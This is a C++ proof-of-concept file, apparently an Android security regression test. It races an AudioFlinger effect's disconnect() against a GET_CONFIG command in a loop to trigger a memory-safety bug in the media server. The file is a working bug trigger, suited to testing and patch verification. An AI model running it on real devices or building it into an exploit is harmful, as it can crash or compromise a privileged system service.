1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #include <sys/types.h>
17 #include <sys/wait.h>
18 #include <stdlib.h>
19
20 #include <android/media/BnEffectClient.h>
21 #include <android/media/IEffect.h>
22 #include <android/content/AttributionSourceState.h>
23 #include <hardware/audio_effect.h>
24 #include <media/AidlConversion.h>
25 #include <media/AudioSystem.h>
26 #include <media/IAudioFlinger.h>
27
28 using namespace android;
29 using media::IEffect;
30
31 struct EffectClient : public media::BnEffectClient {
EffectClientEffectClient32 EffectClient() {}
controlStatusChangedEffectClient33 virtual binder::Status controlStatusChanged(bool controlGranted __unused) {
34 return binder::Status::ok();
35 }
36
enableStatusChangedEffectClient37 virtual binder::Status enableStatusChanged(bool enabled __unused) {
38 return binder::Status::ok();
39 }
40
commandExecutedEffectClient41 virtual binder::Status commandExecuted(int32_t cmdCode __unused,
42 const std::vector<uint8_t>& cmdData __unused,
43 const std::vector<uint8_t>& replyData __unused) {
44 return binder::Status::ok();
45 }
46
framesProcessedEffectClient47 virtual binder::Status framesProcessed(int32_t frames __unused) override {
48 return binder::Status::ok();
49 }
50 };
51
52 sp<IEffect> gEffect;
53
disconnectThread(void *)54 void *disconnectThread(void *) {
55 usleep(5);
56 if (gEffect != NULL && gEffect.get() != NULL) {
57 gEffect->disconnect();
58 }
59 return NULL;
60 }
61
main()62 int main() {
63 static const effect_uuid_t EFFECT_UIID_EQUALIZER = {
64 0x0bed4300, 0xddd6, 0x11db, 0x8f34, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}};
65
66 effect_descriptor_t descriptor;
67 memset(&descriptor, 0, sizeof(descriptor));
68 descriptor.type = EFFECT_UIID_EQUALIZER;
69 descriptor.uuid = *EFFECT_UUID_NULL;
70 sp<EffectClient> effectClient(new EffectClient());
71
72 const int32_t priority = 0;
73 audio_session_t sessionId = (audio_session_t)(128);
74 const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
75 const std::string opPackageName("com.exp.poc");
76 int32_t id;
77 int i, enabled;
78 status_t err;
79
80 std::vector<uint8_t> cmdData;
81 std::vector<uint8_t> replyData;
82
83 gEffect = NULL;
84 pthread_t pt;
85 const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();
86 AudioDeviceTypeAddr device;
87 android::content::AttributionSourceState attributionSource;
88 attributionSource.packageName = opPackageName;
89 attributionSource.pid = VALUE_OR_RETURN_STATUS(legacy2aidl_pid_t_int32_t(getpid()));
90
91 for (i=0; i<100; i++) {
92 media::CreateEffectRequest request;
93 request.desc = VALUE_OR_RETURN_STATUS(
94 legacy2aidl_effect_descriptor_t_EffectDescriptor(descriptor));
95 request.client = effectClient;
96 request.priority = priority;
97 request.output = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_io_handle_t_int32_t(io));
98 request.sessionId = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_session_t_int32_t(sessionId));
99 request.device = VALUE_OR_RETURN_STATUS(legacy2aidl_AudioDeviceTypeAddress(device));
100 request.attributionSource = attributionSource;
101 request.probe = false;
102
103 media::CreateEffectResponse response;
104
105 err = audioFlinger->createEffect(request, &response);
106
107 if (err == OK) {
108 id = response.id;
109 enabled = response.enabled;
110 gEffect = response.effect;
111 descriptor = VALUE_OR_RETURN_STATUS(
112 aidl2legacy_EffectDescriptor_effect_descriptor_t(response.desc));
113 }
114
115 if (gEffect == NULL || err != NO_ERROR) {
116 return -1;
117 }
118 pthread_create(&pt, NULL, disconnectThread, NULL);
119 binder::Status status = gEffect->command(EFFECT_CMD_GET_CONFIG, cmdData,
120 sizeof(effect_config_t),
121 &replyData, &err);
122 if (!status.isOk()) {
123 err = status.transactionError();
124 }
125 usleep(50);
126 }
127 sleep(2);
128 return 0;
129 }
130